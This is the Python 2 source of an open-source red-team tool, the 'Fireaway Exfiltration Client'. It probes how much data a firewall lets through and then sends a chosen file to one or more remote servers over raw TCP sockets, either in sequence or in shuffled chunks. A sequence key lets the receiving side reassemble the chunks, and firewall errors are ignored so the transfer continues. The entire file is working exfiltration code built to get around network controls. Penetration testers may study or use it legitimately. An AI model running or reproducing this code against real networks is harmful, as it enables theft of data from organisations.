#!/usr/bin/python #Fireaway Client Copyright 2017 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or #(at your option) any later version. #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU General Public License #along with this program. If not, see . import socket import sys import string import textwrap from random import choice from random import randint from time import sleep def main(): if len(sys.argv) != 4 or sys.argv[2].isdigit == False or int(sys.argv[2]) < 1 or int(sys.argv[2]) > 65535 or \ sys.argv[3].isdigit == False or int(sys.argv[3]) < 0 or int(sys.argv[3]) > 3: printHelp() else: if sys.argv[1].count('.') != 3: # If there aren't 3 dots, assume it's a file name (yes, this is lame) with open(sys.argv[1]) as f: serverList = f.readlines() else: # An IP address (or something that looks like an IP address) is in the file name argument serverList = sys.argv[1] if sys.argv[3] == '0': testChunk(serverList, int(sys.argv[2])) elif sys.argv[3] == '1': sendFileSeq(serverList, int(sys.argv[2])) elif sys.argv[3] == '2': sendFileRand(serverList,int(sys.argv[2])) def testChunk(server, port): while True: try: startBytes = int(raw_input('Enter the number initial number of bytes to test: ')) break except ValueError: print 'Invalid input!' while True: try: increment = int(raw_input('Enter the number of bytes to increment on each new connection: ')) break except ValueError: print 'Invalid input!' while True: try: maxBytes = int(raw_input('Enter the maximum number of test bytes: ')) break except ValueError: print 'Invalid input!' curBytes = startBytes while curBytes < int(maxBytes): try: testData = ''.join(choice(string.ascii_letters + string.digits + '!@#$%^&*()') for x in range(curBytes)) if type(server) is str: #Only one server was sent s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect((server, port)) print 'sending ' + str(curBytes) + ' of test data. Watch the server to see how much is received.' s.send(testData) s.close() elif type(server) is list: #Multiple servers in play s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) receiver = server[randint(0,len(server)-1)] s.connect((receiver, port)) print 'sending ' + str(curBytes) + ' of test data to ' + receiver.rstrip() + '. Watch the server to see how much is received.' s.send(testData) s.close() except: # Handle aggressive network traffic from the firewall gracefully and keep going. pass curBytes = curBytes + increment print 'Done sending test data. Check the receiving servers for any issues.' sys.exit() def sendFileSeq(server, port): fileName = raw_input('Enter path to file to exfiltrate: ') chunkSize = int(raw_input('Enter size of file chunk to send in bytes: ')) chunkCount = 1 with open(fileName,'rb') as in_file: while True: piece = in_file.read(chunkSize) if piece == '': break #EOF try: if type(server) is str: # Only one server was sent s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect((server, port)) print 'sending chunk ' + str(chunkCount) s.send(piece) s.close() chunkCount += 1 sleep(3) elif type(server) is list: # Multiple servers in play s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) receiver = server[randint(0, len(server) - 1)] s.connect((receiver, port)) print 'sending chunk ' + str(chunkCount) + ' to ' + receiver s.send(piece) s.close() chunkCount += 1 sleep(3) except Exception, e: #Handle aggressive network traffic from the firewall and keep going print 'Got something bad back. Going to plug on...' print str(e) #debug pass print 'Finished sending file. Check ReceivedData.txt on the server for results.' def sendFileRand(server,port): fileName = raw_input('Enter path to file to exfiltrate: ') chunkSize = int(raw_input('Enter size of file chunk to send in bytes: ')) seqKeyID = raw_input('Enter the sequence key ID from the remote servers: ') with open(fileName) as f: unSplitFile = f.read() f.close() #splitFile = wrap(unSplitFile,chunkSize) splitFile = textwrap.TextWrapper(width=chunkSize,break_long_words=False,replace_whitespace=False).wrap(unSplitFile) transmitFile = [] transmitIndices = [] sequenceKey = seqKeyID keyTransmitted = False delimiters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()' pieceIndices = range(len(splitFile)) while True: if len(pieceIndices) > 1: index = pieceIndices[randint(0,len(pieceIndices)-1)] else: index = pieceIndices[0] transmitFile.append(splitFile[index]) transmitIndices.append(index) if len(pieceIndices) > 1: pieceIndices.remove(index) else: break for chunkSequence in transmitIndices: #build the sequence key sequenceKey += str(chunkSequence) + delimiters[randint(0,len(delimiters)-1)] while len(transmitFile) > 0: try: if keyTransmitted == False: #Send the sequence key first if type(server) is str: # Only one server was sent s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect((server, port)) s.send(sequenceKey) s.close() keyTransmitted = True elif type(server) is list: # Multiple servers in play s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) receiver = server[randint(0, len(server) - 1)] s.connect((receiver, port)) print 'sending sequence key to ' + receiver s.send(sequenceKey) s.close() keyTransmitted = True else: # Transmit data if type(server) is str: # Only one server was sent s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect((server, port)) print 'sending chunk ' + str(transmitIndices[0]) s.send(transmitFile[0]) s.close() transmitFile.pop(0) transmitIndices.pop(0) elif type(server) is list: # Multiple servers in play s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) receiver = server[randint(0, len(server) - 1)] s.connect((receiver, port)) print 'sending chunk ' + str(transmitIndices[0]) + ' to ' + receiver s.send(transmitFile[0]) s.close() transmitFile.pop(0) transmitIndices.pop(0) sleep(3) except Exception,e: print 'bad stuff.' def printHelp(): print 'Fireaway Exfiltration Client v0.2' print 'Usage: fa_client ' print 'Valid options for mode:' print '0-Send random test data to find maximum leaked data fragment size' print '1-Exfiltrate a file sequentially' print '2-Exfiltrate a file in random chunks' sys.exit() if __name__ == '__main__': main()